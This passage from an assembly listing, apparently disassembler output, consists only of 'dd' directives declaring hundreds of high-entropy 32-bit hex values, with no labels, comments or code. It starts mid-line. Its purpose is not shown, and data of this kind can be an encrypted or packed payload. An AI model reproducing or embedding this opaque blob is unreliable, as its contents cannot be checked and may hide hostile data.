0C1D8888Ah dd 1A6BE81Fh, 0D5A90249h, 0AA4F0476h, 0D9374291h, 0FC89EB05h dd 859FB82Fh, 9400C772h, 0E1F68146h, 2B291621h, 0B16AE4Eh dd 0C60011BDh, 0B14E85Fh, 62BBF331h, 937BFC25h, 0FD9AC469h dd 0FA68A0B5h, 0FD2BE15Fh, 0F4A8D254h, 0C028E605h, 68AA822Bh dd 0F5647480h, 17449E8h, 0D2EEF2B0h, 3B356009h, 156D804Dh dd 0A0464822h, 97B3D490h, 17BE86D3h, 67B1E4B1h, 0B142173Ah dd 0AADD3AA2h, 0A58DF93Ah, 5A34E6EFh, 0BD1784A6h, 0C012EC43h dd 284E7D81h, 484034E9h, 8452B173h, 0FEF4ADA4h, 3B10ADB2h dd 0CE25009Eh, 53AEC02h, 0EA791335h, 0A920AB47h, 0BF55B5D5h dd 5C946950h, 801FA2Eh, 4089392Dh, 0D5C3E041h, 586080D1h dd 684340B4h, 0CC03B82Fh, 101E1A3h, 0BEB145EEh, 0E22A22F1h dd 5E5AC0C2h, 0D3C909E9h, 6334FEB4h, 0FE91542h, 0FBEDF58Eh dd 0C20AAB2Fh, 4075629Ch, 526ABFEh, 0E5C1254Eh, 0F5E60104h dd 70580242h, 0AC401450h, 9B5448F6h, 9379F35Ah, 0E0504D1Eh dd 0C812085Ah, 6B7F712Fh, 0EB7264A8h, 747244FCh, 6A536681h dd 0A53D885Fh, 0EB4A1628h, 5CE98A05h, 97FE85B0h, 0C5BFFDA2h dd 84C2D725h, 86D1FF4Ch, 18B9DD6Fh, 5B20E5C2h, 92C5BF50h dd 9285CE88h, 74A1AAC3h, 94027FECh, 0A103971Ch, 74AAEDCEh dd 0CD3880BAh, 4D5B7F6h, 0D001ED73h, 2FE957C5h, 0A198B10Dh dd 2CB4B2D0h, 899259EBh, 0D35C6C2Dh, 0AEC0E963h, 0BA609F32h dd 7690F028h, 2943B72Fh, 3ABBF634h, 0D5885A8Dh, 237E9C08h dd 0E933EE18h, 0F2FC5EE5h, 0E37303ADh, 0E9EE2108h, 93BB91B8h dd 0D731A484h, 0B5E8065h, 0E75AC094h, 293C37A8h, 0A6895896h dd 0EB811793h, 0ECAF6DB5h, 5DB674F2h, 96FF8846h, 52DD4940h dd 6DB00276h, 9CE9C288h, 7D9009F7h, 0B52CC27Bh, 8BEE5F13h dd 6BB0446h, 0BC07F64h, 0B3457E3h, 534B66BEh, 2D0DCE2Bh dd 7DA2200Bh, 0BA5095Eh, 5B958703h, 25AFB871h, 52FF5E27h dd 9A43ABDCh, 0C1850055h, 814515Bh, 0AD98D9F7h, 0B47AB207h dd 0C08F315Eh, 54E0F181h, 92202F3h, 658CE9CDh, 0E4635FDEh dd 684CA05Eh, 70970582h, 0C12959B7h, 7BA1477Ah, 0F21C42E2h dd 78BE3FF6h, 34C0ABA7h, 6F17BDB8h, 52BB1DDEh, 0E96203BAh dd 0A1043617h, 0BF1403F1h, 21A78582h, 3652B368h, 13A95BA3h dd 53F75B89h, 7FCE340h, 5B5A182Ch, 0BB60F640h, 323C7F35h dd 0EA81BE7Ch, 0EC2D50DFh, 39D4B7C2h, 5FEA5BBEh, 7C52645h dd 69011077h, 3CBF4800h, 69970CD6h, 73ECC5E7h, 0E00E5ADCh dd 2A6096EFh, 2267EB61h, 0C1160E5h, 1085B15h, 170ED690h dd 0ED20A955h, 8061CF3h, 8214841Ch, 0C324F720h, 4F40BA5Ch dd 286B9AEDh, 29555D37h, 497F9E04h, 0CE10EA69h, 0E95D0507h dd 4A4F83Fh, 0B7AA40D4h, 494A687Dh, 0AA3B512h, 0A9A52297h dd 372ECEA2h, 25FA9866h, 81FF8F5Ch, 36444A1Ch, 972CD1EDh dd 0D3D8F61Dh, 0BE79407Ah, 0C4885D6Fh, 0C9F5E1A1h, 2BC0E2EBh dd 8781EA15h, 0DC5D8205h, 5240F7D4h, 0B0A3B450h, 28850BE0h dd 0CA7559CCh, 53BDC1C5h, 81FEA014h, 0D520F041h, 0A3E14E12h dd 75F24EDBh, 16DF2FC4h, 0FB0534BEh, 0CEAE7407h, 5A16FEDBh dd 4A02AD40h, 0DB5DE93Ah, 0D5B19031h, 69A1EF8Eh, 534B254Fh dd 595A49F8h, 0BD04FC13h, 2DBBFEE8h, 8D7697E8h, 0BE33D8D8h dd 0BEE2826Bh, 12600201h, 0DDD70B8Bh, 0D32A741Eh, 0A7145D9Dh dd 0BD9ACB50h, 9377134Ah, 16FBFDB5h, 509FEE17h, 14FF2C27h dd 429A9FDCh, 50713240h, 0E9194B04h, 0B4FEB0F1h, 6E9A0CBDh dd 0A353AE9h, 0CCC8D806h, 2DCE6E13h, 0DAE68181h, 0C8D82137h dd 0FE59F2CAh, 32D70508h, 81C22C67h, 0B05000EFh, 0B7075386h dd 0F4E7800Fh, 0AEE19BE4h, 0E04BF3C1h, 0E9CB2804h, 4EE1A8D6h dd 2D69CBBEh, 0ADA9E1ACh, 9CAD2Dh, 52138220h, 80096851h dd 51553357h, 0AF9F1217h, 68D07689h, 0E4E2E5AAh, 0C322FEBBh dd 53D83159h, 20DB5F4Ch, 89521C88h, 5A59C9FAh, 68EAD7F8h dd 186FE82Fh, 0B14B0D93h, 507569CDh, 0FF2D5B34h, 0FF0FA13h dd 19A9DF9h, 0AB2C5B89h, 98BD4DC0h, 82A741F1h, 3B321640h dd 4AB880h, 5482E38h, 22045D70h, 4C1631BCh, 0FE4F26ECh dd 1B92828h, 1CB1320h, 7F23B5E9h, 814A298Eh, 0A5FEC1B9h dd 55CB621Eh, 578069D8h, 46956F0Fh, 626EF2BFh, 0EA091274h dd 28EF0CFCh, 7EF24001h, 6F3EFB49h, 0BFC14AE9h, 3B71D188h dd 17F8F0C2h, 3054DD68h, 3A6BE9E2h, 0DAEE2295h, 0F381001Eh dd 0AE095D5Ah, 57D9893Dh, 69976B94h, 84556C5Dh, 8E945FBh dd 169CAE91h, 0E35A5BD5h, 688298CCh, 0A7B4DF7h, 0EBCAAD84h dd 0BD644B2h, 2BCBD1D2h, 4F2983AFh, 64B9BBC4h, 0F902CD94h dd 4B120B6Ah, 1746CBDFh, 1EBD108h, 605C974Ah, 79E13A3Ch dd 1A15442h, 360D8A68h, 0ABA618B1h, 9D0AFC1Bh, 81509DC6h dd 8301C154h, 319ECD1Ah, 0B372204Fh, 0B101F750h, 36694F3Ah dd 0F2803C20h, 0CAC42003h, 0BF002533h, 0FD54459Ah, 494B3AF4h dd 0CEC1D0A8h, 2A656952h, 0C13861BBh, 3145EC60h, 0F40A0B5h dd 4D200BF2h, 2B046C57h, 0F82C3C6Ch, 0A507415Fh, 55A9648h dd 0E9535854h, 4E89AC73h, 4F749FEEh, 5E6CC0DDh, 7E499401h dd 6B540107h, 0C4136B3h, 0B03EEC7Fh, 5E086855h, 8F8B305Bh dd 6918A717h, 0E90B93BDh, 89AE96F3h, 8BD759CFh, 8585678Ah dd 0ADEC4EE9h, 0CD0D796h, 0C3108E8h, 784668C8h, 0A14B9931h dd 0DDC10F24h, 657A2DCEh, 90A3FEF2h, 0D0676312h, 4C081150h dd 0EB7A2F7Eh, 0E8AC7D97h, 6713A21Ch, 12FACF3Bh, 11E3EE8Dh dd 0F6E95504h, 29A29CEDh, 6941F9B7h, 8E41535Dh, 0C1380668h dd 0AD81D62Ah, 57635496h, 0D6DFA98h, 0B32DFE2Eh, 2440FD2Bh dd 9B0E635Ch, 348897Dh, 0DA75F00Ah, 7885407Ah, 6E1F2C76h dd 328B0591h, 0AC8B8101h, 70202BAFh, 3E1295BEh, 0FA9364D3h dd 6809C8D4h, 46103E25h, 29F0314Ch, 2FBA3A81h, 56E6C761h dd 18A16800h, 8863A1B4h, 60EF92C5h, 9AA856B5h, 67DCEBEFh dd 9194B52Ah, 5248778Ch, 0C6F2E3Eh, 0CD89F5D2h, 7F693571h dd 9EB49240h, 9F2AB780h, 34F4C650h, 53145C61h, 343E2468h dd 0FCF1EF54h, 5DC7CB40h, 0A8175FB5h, 0E01F278Eh, 0BEEA2840h dd 0E6166FF9h, 0CFFE13C5h, 0DFBEA0ABh, 0C05501E1h, 0E34C3CBAh dd 211E1F42h, 1179A4D0h, 46BB2D0Ah, 0E63B9AFEh, 0E9999AD7h dd 431B136Dh, 3212C504h, 9D05DF40h, 178008E3h, 16347056h dd 47E2E961h, 725D5E3Dh, 0DEB8D0C9h, 0FD83FAF9h, 0AB99F02h dd 0F1C161FDh, 9D290024h, 0C3CFA5DDh, 2BF1E1EEh, 8428E3B1h dd 6586E9A1h, 0DEC6F881h, 0DE62113h, 0BC10EAECh, 0E3FD4EA8h dd 77AD223Fh, 541AF900h, 0CC17C07h, 3A70753Ch, 3846C26Ah dd 34B5EA70h, 0F31C5E59h dd 12F358FAh, 0D0B2FF72h, 0B17FBCD3h, 2F8030AEh, 51533C77h dd 150BBDB9h, 8589094Bh, 30F10CD5h, 96F9F92Ah, 0FEC4A944h dd 0DEE118B0h, 5D25B81Bh, 7D943275h, 4E25AA96h, 95905AC3h dd 112BCDCh, 53CCE4BEh, 8FF506BDh, 0F82EE1BCh, 0D9E540CCh dd 0E78BC6Eh, 5761E9F7h, 81C7C324h, 7905C7Bh, 20C85749h dd 182C76FEh, 6166E74h, 3A239AEh, 3B5E439Eh, 61306D5h dd 97185DEAh, 4BE2E9A5h, 697DCAFBh, 186656E7h, 34FD852h dd 0BA651B0Eh, 0B41684FDh, 0F83C5EEh, 0AC9C6868h, 9A306CE2h dd 6AA6B18h, 4745AB2h, 6DE917ABh, 7B038ADDh, 2933A826h dd 361AFDADh, 97AC6475h, 3CA81557h, 907C8513h, 0CB766C25h dd 0B5A85C5Ah, 0F49B2F7Eh, 45496B71h, 1E0A099Dh, 123DFB53h dd 93CCCA0Dh, 41235AD0h, 0C942B72Dh, 0D7407A38h, 0A5366CF5h dd 2803BD11h, 0FE921BE9h, 0CD3DB6DFh, 0D85348BAh, 0FE9C17A0h dd 1E133385h, 11BCF584h, 2E2E12Dh, 9677EA09h, 50FD03EFh dd 0B2BD646Ch, 29D465B8h, 20EA79BDh, 453002CCh, 0CD01401Ah dd 577C4E40h, 53923991h, 150B33ACh, 7853947h, 5740FF6Dh dd 0A03FF410h, 378CD431h, 6105EF4Eh, 1D9192E9h, 5C6A6DB2h dd 0C3804700h, 0C3760EC4h, 0DBDE02AFh, 2563C607h, 0EE6441B6h dd 50C8A8AFh, 32407679h, 0CA29555h, 0B7908ECAh, 4D986A67h dd 0DF0B7290h, 7C6EEC46h, 0E581014Ah, 3E9C5F7Ch, 9304CB01h dd 0E9A7676Fh, 522F6970h, 0B9E7305Eh, 110E690h, 55E1816Eh dd 0F2673D0Fh, 680F1D5h, 0B9B528E9h, 0B0B33B0h, 0F45A4475h dd 79A7585Bh, 0F5FC1E70h, 0C306A550h, 0D3885D97h, 2C3704EAh dd 1430C2A1h, 5E0ACA70h, 0F01C4F09h, 0C76BA018h, 8A2D17DEh dd 10C4163Dh, 592F08C2h, 6F0319E9h, 0CFAEEE85h, 93E91F87h dd 21F7225h, 810D9DB8h, 99853162h, 0DE8AC252h, 4FBD40Eh dd 28920ED9h, 0F8A93582h, 0E120EDFDh, 0E4641479h, 0BB03D71Fh dd 0D135057Dh, 5BF4C0B4h, 75026F73h, 27E9F301h, 6ED2076h dd 8A4ACFB3h, 0EA8146FCh, 0FF61CA2Fh, 162CF3C8h, 0A720237Eh dd 57F8BDC6h, 5A0706CCh, 431F587Eh, 0EBF18917h, 0F8E94481h dd 6BAEDFEh, 0A8403193h, 3FFBF305h, 1BF2C9Ch, 1474DCE2h dd 0BCC7435Fh, 3BECEBF1h, 0E40B33A1h, 80C1C850h, 2EB0CE31h dd 4C560F95h, 0ACB9AEBh, 1AD466A9h, 0ECCE13A2h, 0CD8A5AEBh dd 755ED6DAh, 0DF21588Bh, 0F5F35893h, 0EEEC6474h, 50E8E96h dd 52001001h, 818FE5BAh, 0A7092D82h, 5E4F2048h, 0B7072034h dd 46F00140h, 10F7C14Ch, 0B04B33AFh, 0D65B317Ah, 0CE632CBFh dd 5AD56817h, 849CC8FBh, 96B1F277h, 0B173E82Fh, 81F9BDEEh dd 0CC09C828h, 0D5516371h, 0E7E95E01h, 55B36BE2h, 5622D6DFh dd 1B07AF58h, 129711Bh, 2C1D016Dh, 0EE12BE2Fh, 7E53CBBEh dd 7E9D509h, 489929F7h, 0FC5AAA7Ah, 0BF7CE40Ah, 0C80A0C6h dd 0C827FFE9h, 4B1A71FEh, 0FFB0425Fh, 680956CFh, 689857E9h dd 3E05B3BAh, 0C2317061h, 0B3ACDC0Ah, 3D7479AFh, 0AD545B96h dd 8F792D6Eh, 2468E25Eh, 0ADC05913h, 7E02EEDCh, 0F70280E9h dd 5501C54Eh, 0D85E1468h, 0B12A5D0Bh, 8CBC3E75h, 7CC8BC96h dd 0B91D8097h, 48C50A80h, 0C91FAF6Bh, 0C21D878h, 0CC2D176Fh dd 0FF516341h, 547A97E0h, 0B5E9FF68h, 0F8744430h, 79170BF1h dd 77D8458Dh, 11801DA2h, 1AD86A5Bh, 809FFAF0h, 0D306C98Bh dd 46E91256h, 0BA3324CCh, 0E9A0C4A2h, 0CE9F788Dh, 0ED70A047h dd 3391763h, 0D506FF83h, 2F13E8F2h, 0BB620EE9h, 0A98B3D59h dd 9C5F4E19h, 0BA6692EFh, 0B8285891h, 0A6B73C81h, 20D0CF80h dd 0F54A058Fh, 5FE943D9h, 91742268h, 425D272Fh, 117681D7h dd 1ED860Ah, 48ADE52Ah, 0BB51533Ah, 7C566F0Fh, 72B94F0Bh dd 50F45F89h, 0E24D975h, 0EB2D93F0h, 76D4F6C4h, 0A5D2B8ABh dd 0C44FF2EBh, 0DFB017E9h, 0D9ED0F80h, 3145EA28h, 0B84BBFD8h dd 459BFFA3h, 876D62F1h, 56306810h, 7CC57509h, 1CF1F3ADh dd 0D8B5A01Ah, 1534171h, 7EF8619Eh, 36C25B34h, 693F6057h dd 2A990C62h, 290B6DBFh, 24E9F717h, 685F8141h, 0DA363548h dd 12784317h, 1A980107h, 20779A58h, 0D05F982Dh, 0F8C173BFh dd 67ACAB4Eh, 0BF194130h, 0BD004766h, 1250BA4Ah, 5001C4F4h dd 9EEE5FAh, 311D718Ah, 0A776257h, 3C09CF08h, 42137C0Bh dd 5E1D1F7h, 38BEC0C8h, 2BC5E916h, 0A9D37BCCh, 2DD7088Ah dd 325AD640h, 39AFE54Fh, 665E214Ah, 0D5564F3Ch, 0DB7698EFh dd 0D6CD3F52h, 7F398B04h, 3AC7DFA8h, 542B8F27h, 6FADA9C7h dd 0BD102C22h, 9778F7A5h, 0B61652E8h, 7804FE2Eh, 0EA9306C0h dd 1A30B9FAh, 0B530E93h, 0B8D1056Ch, 51E8D727h, 410797F7h dd 47E943D1h, 0D62DF7EAh, 7D6D021Ch, 13DC601Bh, 0B5AD825h dd 26F41BDh, 1795D300h, 18C06A73h, 33259893h, 26B62CE9h dd 2ED953F2h, 10482212h, 5D27EEA1h, 0DF13B673h, 80422CB8h dd 92A3FEE5h, 0D87DE6C5h, 1041E108h, 456FBE01h, 0BE046397h dd 41BA0395h, 2DDB105Dh, 0E0996429h, 86CC164Ah, 122806C6h dd 0BC2351Ah, 48A3F8C5h, 0C3018E04h, 5C4FA380h, 0C1321403h dd 0F60293E6h, 8B0B399Fh, 5E0A8640h, 0E97C2B05h, 0D2D2A34Ah dd 299EC85Dh, 3F769FCBh, 5959C1DAh, 98743C28h, 68C102E6h dd 0E8D1175Ah, 0F44A00F5h, 411CD4Ah, 24D02D35h, 40C3F12Fh dd 1A0BC79Eh, 28A62149h, 2EB108EEh, 1654CCCCh, 0AE6E364Ch dd 43676AD1h, 0C7D89F61h, 0D1B3E68h, 240E4730h, 224A7C95h dd 0A43269BEh, 260B4208h, 76F1F296h, 0D266E968h, 0EA3C1B05h dd 46C8AF50h, 3D4C1CCAh, 15D6A568h, 32C01A34h, 5E940DBDh dd 25CFC721h, 139080E1h, 1858341Ch, 0BF93029Fh, 5589DE7Ch dd 583A265h, 0E455318Ch, 70410FAh, 4E51B24Eh, 0E983F0A6h dd 0C613A8F5h, 30B9CE01h, 986EC97h, 0FF4DF8E9h, 21FD2212h dd 0AE762F41h, 5894F03Fh, 0A8B41D28h, 18CACB48h, 591815CCh dd 39E09DC3h, 0BF83AB01h, 4452B862h, 19CC2765h, 0A2AD2AD3h dd 0F16ACD8Ah, 0DE4784D8h, 0B5DCABFEh, 0B2D84BAFh, 0F1E85F42h dd 20CAEDB0h, 0E973E309h, 971358ABh, 0ADD1AA13h, 6414935Eh dd 515A05EFh, 0DACC92B4h, 0CB39D675h, 0EEC02A7Eh, 0BDF154B3h dd 8C80F37Ah, 0D70A454Dh, 9FFB016Dh, 3EE11916h, 0A9D5FC6Bh dd 6858D585h, 69D1FF7Fh, 2040CFD6h, 95A52BF1h, 0D8DB34E1h dd 609523C3h, 4C4D6C56h, 0E4255B19h, 0D4BCFDD8h, 109C551h dd 80FCDBC9h, 2F23EA59h, 6089A3D4h, 3DF32AD3h, 4B58A62h dd 6800D195h, 7FF556C6h, 855FCEF5h, 62BF5DE2h, 57D0534Ch dd 45D95C4Eh, 0CB3CAC3Ch, 5B2C1289h, 0B44B2204h, 6039C366h dd 533F7696h, 0E0A9DA5Eh, 625AB087h, 0F0222975h, 0E10A8805h dd 0F1DD42h, 7397685Bh, 5597C491h, 16766601h, 0E06F41E2h dd 0DD48F7B8h, 2E72000Bh, 4EE94462h, 2D7826Eh, 75E6D2EBh dd 0B8015DB2h, 207B59F7h, 0D4B9D10h, 2768C798h, 5E56E80h dd 0ABDCE98Bh, 8167555h, 0E9BCF9B7h, 0BB51C656h, 9066C224h dd 0C0B3E09Bh, 26D0BE54h, 7BF461ACh, 79CD675Fh, 49BF7A61h dd 0F5418E27h, 0E3492052h, 0FCBEFD2h, 6816004Ch, 10A2E910h dd 0BB074CEBh, 7B7C64C9h, 0EE711700h, 15A17FBh, 5EC77CB2h dd 0A8220468h, 272AC4A9h, 0ED2D9214h, 0A3BDC7D2h, 18722646h dd 0DBFA8F71h, 0D42763E8h, 1DA05E3Ch, 0BE701222h, 0D805EAB2h dd 8063E148h, 1A281B4Eh dd 4C0F6B48h, 388A12CDh, 4D30CC9Dh, 64245A47h, 62E48282h dd 8927F57Eh, 194880A0h, 3166867Dh, 0AB25C501h, 0C3301B6h dd 864CB23Fh, 0BF1EB238h, 3C97D4EDh, 0D82A2E8Dh, 6602ED02h dd 14C8A67h, 1D542FDh, 4F4BE908h, 2C5BD748h, 1D99E29h dd 547097F3h, 5EC84171h, 9FB60D9h, 9701DA4Fh, 0D507AC7Fh dd 5BBEF20h, 11E3D4Bh, 4C784F2h, 88565E08h, 0C360E211h dd 94B753C2h, 44F95A08h, 28C587Eh, 0D44F7068h, 0A7DFA6F6h dd 92707F6h, 2E5000E6h, 0B76CBF32h, 8820472h, 27BFCB45h dd 288A0C0Dh, 7D671620h, 3850AB0Bh, 0E3F84B08h, 89C880DFh dd 5A595830h, 7242F69Dh, 7709C553h, 2EE87D20h, 9B7A4E9h dd 2751EC0Bh, 0BFFAB159h, 0F96CCE3h, 5189485Eh, 27067964h dd 7D763A4h, 5E595FA0h, 0F4851h, 0AF4B3558h, 0EFFAF069h dd 0E995E8BFh, 9DA97F7h, 0D1192E18h, 0D6E3DA14h, 72F60278h dd 8D645A92h, 0D503F680h, 0E980F209h, 0FFDFC2C5h, 9399A93Ch dd 5768450Bh, 3F4EA014h, 5359D901h, 4A601BBBh, 4167B5D0h dd 0E9097E2Ch, 1FAF8BEh, 792DD0F7h, 71BFCFB7h, 0E58120C3h dd 795D99AAh, 0E9E8419Eh, 2C42EE4h, 0B34384ABh, 0BF02C8C9h dd 0AC2011CCh, 24269FA7h, 550991E0h, 0BFE9183Dh, 0BAB3341Dh dd 0DAE0B271h, 0A548DB9Dh, 0D527027Eh, 0E984BC17h, 0A4FB7F97h dd 0AB583382h, 0C9CE10ADh, 35C7EC5Eh, 0E0805950h, 2502D3EDh dd 0C8830960h, 1D0299ADh, 59A556F6h, 204D64C5h, 661616D6h dd 0C40AB151h, 0B993B424h, 0A1ED0BAFh, 29940555h, 0BC4EAEF8h dd 0CB30BD55h, 0C598B5AFh, 438292EBh, 0D074F9EAh, 0EEDF97BBh dd 41D62A1Eh, 0F1B1B387h, 57C57D1Eh, 395EB13Fh, 0B7C3840h dd 4C293D0Ch, 570C826Fh, 0CA653ED9h, 0E45C974Ch, 0D0BC4E4Ah dd 0B76EA67Ch, 0D7EE224Bh, 0A88943C2h, 70C19D02h, 7D79980Fh dd 6F7FA0D8h, 0C3DB6024h, 2A262F00h, 0B8FB293Fh, 0CECB6806h dd 9AFD2D0Bh, 30FC620Ah, 0E226D698h, 0F552955Bh, 77590881h dd 0F1FD4A8Dh, 0EB1356D2h, 0B825BA8Ah, 71DD7862h, 1B8269B5h dd 0FCD1D839h, 0E2B2AB6Fh, 0E93356E8h, 0DFAEBC72h, 9202AB5Eh dd 0DC51CDFEh, 161ABE22h, 304118B7h, 436AA2AEh, 6A2B9E80h dd 0E948BB0Dh, 0F5EC195Dh, 0EFD63A5Ch, 9C15135Bh, 87555F6Eh dd 84937D7Ch, 0D8142F10h, 1CFB6D10h, 65966851h, 42C3B8A8h dd 0E9984A03h, 26C08022h, 0A060E8BDh, 9E55B84Dh, 4FBF00A5h dd 8140CE37h, 3E7C702h, 0D53121CAh, 4C1D4A21h, 7FE44056h dd 7760A952h, 0D0BCE3D4h, 0C8090095h, 0C7983559h, 590843Dh dd 1F7B2309h, 0B4C77624h, 5B2AF611h, 2CABF085h, 6969FD51h dd 56005FACh, 0C7A8435h, 0AF01523Ch, 1E147758h, 32B90230h dd 639EAD1h, 0EC840FD0h, 564814EDh, 707E0177h, 0F9E92233h dd 0F62C3365h, 41D8B1h, 0C7CDD1E9h, 2F40923Eh, 0D4AC1312h dd 0FDE1FA41h, 3F7EA87Ch, 5F7F4EF3h, 0CCB4B201h, 5EE6D787h dd 0D421FB15h, 303F922Dh, 1C77215Ch, 44294E98h, 7C16EF38h dd 3D683A42h, 5632570Ch, 0B9E8E98Fh, 6B8B501Dh, 0ECEE930Bh dd 2A25BDEAh, 5F9DFEB1h, 5A4DCC02h, 80F7475Fh, 0E9AEC380h dd 24DED494h, 7E61F10Fh, 651DEE53h, 3E2D6EF0h, 39FA0533h dd 305D001h, 0C1E95707h, 0F289D913h, 9C3DEDA2h, 0D14C2940h dd 884510CEh, 5EADFE7Dh, 9285E9FEh, 0DF3047E8h, 28585C37h dd 35EEC84Eh, 9DEC0BD6h, 0E5278BF4h, 4C89BF2Dh, 8BFCFEB5h dd 0C46B2946h, 0B9EF8A6h, 58AED458h, 7082C8CEh, 0EF6DEA46h dd 0F3DAB02Bh, 528C6713h, 0E8BE2B80h, 9714E23Ah, 43158883h dd 47D8E727h, 8B5D2D7Dh, 2114556Dh, 6CBA499Dh, 5F29042Eh dd 0C10EFB31h, 4FBD97CFh, 0D16E44D2h, 7C0D83E3h, 7AFAB924h dd 78E40581h, 0C07FB9B2h, 5B5F53FCh, 97F22AEDh, 4BE6EAD3h dd 47EDE917h, 0A6685C88h, 0A44E5D08h, 0A92F3CA1h, 4E5CA2F3h dd 0D2824BA8h, 88F41C06h, 0E2765772h, 89F9DD5Ah, 0BE17193h dd 0A0A30B6Ah, 0EA688FE0h, 0F5180755h, 30036A96h, 9A04A62Dh dd 5C48570h, 572F071Fh, 0BADA60Ah, 2CF1DF14h, 5C6497BCh dd 0A87D65AEh, 8AFE93C8h, 84E9C3C2h, 0AB2E4E9Dh, 0E8164BCBh dd 0F2F340ABh, 94D47305h, 24959AF6h, 82F0CFh, 15D01CDh dd 516321CAh, 6CCB87C5h, 0A551299h, 7E2EE1AFh, 425000A6h dd 7708B790h, 0BFC701AAh, 2A09CFF6h, 74DB8C0h, 0F929003Eh dd 4597BA52h, 52BD101Ch, 231A09D1h, 0F5805AABh, 0C879020h dd 0DCB5BEB8h, 0F89E9255h, 2DFA5F0Ch, 0B7816BBDh, 3C3B14B0h dd 68105DEEh, 0C14016D5h, 0AB4FD371h, 700A3FF0h, 965F957Dh dd 967C9D16h, 80FC7BC9h, 5828B850h, 75956E71h, 80020C85h dd 0AC2D0322h, 231D4F08h, 0DDE90F89h, 0DE37EED6h, 892E594h dd 62868F4Ah, 0F08AEDABh, 0B4565EB3h, 0C792D96Bh, 0BF3AB4BFh dd 9E5047F6h, 32779A32h, 0C741AAE7h, 0F630D8F7h, 41B65ACBh dd 0CD0E5417h, 5E5FDA34h, 92ADE2D2h, 957C1977h, 0AC4A9168h dd 85874C21h, 0ECA4155Bh, 531740CFh, 331CBB0Ch, 4B9A163Fh dd 2A8AB3F8h, 0C016ECDBh, 95AC07EDh, 0D06C5E75h, 73E9F4A2h dd 6CA8D241h, 66AB127h, 5451535Eh, 3DEB5840h, 45005536h dd 2E323352h, 4CC36C64h, 99564441h, 0D4C4950h, 71547E4Eh dd 3C0AAA4Ch, 0CEA40101h, 70E91DC1h, 40383409h, 37C0A15Ah dd 81FDDFBEh, 0B40A42BBh, 0AA12A219h, 89A43710h, 11FE09A0h dd 44DB0896h, 22848CA5h, 8244A63Dh, 0E70E004Eh, 79A8E4CAh dd 3928765Ch, 0CC00AF0Ah, 58967C99h, 0C102Dh, 739EDCD6h dd 82F7056h, 9BC648C0h, 5E987Eh, 60410E2Bh, 22BAECB2h dd 99F21300h, 94684BBh, 39EFCB1h, 2D5B86C4h, 78F0C663h dd 0E50AA957h, 0DC16C91Ah, 0FB1CD607h, 0F8403227h, 6529D7h dd 69132014h, 0FE7456F3h, 0ECC6CF00h, 87517FB2h, 0CB3001EAh dd 0B445F620h, 9B49F45Ch, 2E41A00h, 235F24C0h, 0B02A0936h dd 0D0801F60h, 0B1CF13A6h, 7DD93B00h, 18E21043h, 0C39F6B6h dd 98DE8CFCh, 0B0002625h, 0FA56204Eh, 0F28FBEh, 0CCB233Ah dd 70ABFCF7h, 478C3D00h, 93BAFB39h, 2CCF0131h, 0E86E777Eh dd 0E285ECC5h, 9BCE0800h, 13C7C9F8h, 462C0026h, 0A2882FCCh dd 9A903568h, 933CB601h, 0BD9B574Fh, 821664h, 18FE1B42h dd 0AA90ADDCh, 213E6D0Eh, 0B0CD003Bh, 618CCAh, 18A24044h dd 0AC92AFDAh, 27006B79h, 0BAD70241h, 2679AD4h, 0EE9C7D4Ah dd 0CC80BBA8h, 0C2FFDD36h, 27558800h, 0A548B810h, 0A4EEE84h dd 1482BD8Ah, 80CE90CDh, 47BA7411h, 1C2F007Fh, 0B1DC1B8Bh dd 5700B983h, 709BDAB4h, 0EE2E6D53h, 2D7E0F98h, 0ADA0C715h dd 0B842202Ah, 561E1A72h, 0F7406428h, 845DB0C6h, 271F0D69h dd 0CCF7426Bh, 8300A0C7h, 1532619Dh, 0C3F22Fh, 5285C0A6h dd 0E6114F35h, 1DC5C900h, 0F2C5795h, 0C1E80029h, 547FBEA4h dd 17015137h, 19FAC7E4h, 0B3102B6Bh, 7B037C5Ah, 9C3960A1h dd 1B49B8B6h, 0EA1D0057h, 680D2CBCh, 0D3049D43h, 609340CFh dd 968E51FEh, 200A3814h, 0E5410B00h, 21DB78ABh, 616224E3h dd 0D7F42700h, 33D6469Eh, 82E30E12h, 63809178h, 103E69A7h dd 4709E4FCh, 0F5998Dh, 40EEA575h, 80D5407Eh, 5A80A00h dd 1EC1EC2Bh, 9A063B44h, 3421AA30h, 0BF005CBEh, 0CEF33218h dd 12016392h, 0B0A017D3h, 7E0058EBh, 1AE41241h, 197B4F7Dh dd 0A5EAAC5Ah, 0FBE1FCF4h dd 608EC109h, 0DE928049h, 0C01A1B30h, 0C8E55B8Eh, 7503A8E2h dd 8C71F58h, 31D2C97Bh, 39ED4FF8h, 55001B4Ah, 919583B9h dd 190EC7F4h, 8FC648EBh, 3C16802Fh, 0B5D2FDh, 2E6B90CFh dd 0A507D1FFh, 79B37707h, 0DA601546h, 9786F6Dh, 642C480h dd 0B844001Fh, 9B386370h, 715B576h, 8C1559h, 93C12399h dd 76295CFh, 0F085A434h, 201956E0h, 0C1303378h, 57CD0C1Bh dd 0F1A012F5h, 12161DD6h, 0B87D80F0h, 0AD00E889h, 0F2204F8Ch dd 9727728h, 4D7B180Bh, 83B22424h, 791FA308h, 60DFB52Bh dd 0F3E7B00h, 1DE13972h, 0C020CE71h, 0C41C31F9h, 7999AEEAh dd 5B980800h, 983AFE2Ch, 0D7A10088h, 0BDF61375h, 5201F565h dd 0DB381BA4h, 0D8406319h, 1023570h, 0B56D0AD4h, 9D3A241Dh dd 0F6805E7Ch, 0A1C604C8h, 9370062h, 96AFDD3Fh, 0F21C929Bh dd 6E471474h, 0D602A4Bh, 31A2096Ch, 0F2F88DFEh, 24136CD1h dd 0BD7033B8h, 38B27C0Dh, 1D00AE9Bh, 3FE24C34h, 0F360CD91h dd 0F95BD128h, 47A82456h, 17878087h, 1D4CAED9h, 0C94C62ECh dd 55D03EEh, 18F295h, 0C3E4111Ch, 2E2D73A2h, 5FAF2000h dd 83793D6Dh, 85CA28FAh, 37B816A4h, 0EC04006Fh, 2E7B9FBDh dd 9B95320Bh, 515D0147h, 0F8E0F7BAh, 72A00016h, 0F093035Bh dd 674C3342h, 12EC0EE1h, 0F5B9C3D3h, 0F95A0055h, 29F32183h dd 3A00AA8Ch, 6994D2FFh, 0F713Bh, 0B5DC1DE1h, 8EB9F753h dd 0AF892C00h, 3F254275h, 0A1D23A05h, 933D0701h, 7D5A160Eh dd 4B8B0FF1h, 0E521A024h, 0B399B6h, 442A4776h, 0D3B9D609h dd 4D6A950Fh, 0E321C249h, 746141B8h, 44A30E4h, 0DDC3E00Bh dd 86C3C0A3h, 0B724F7A5h, 370E7CBEh, 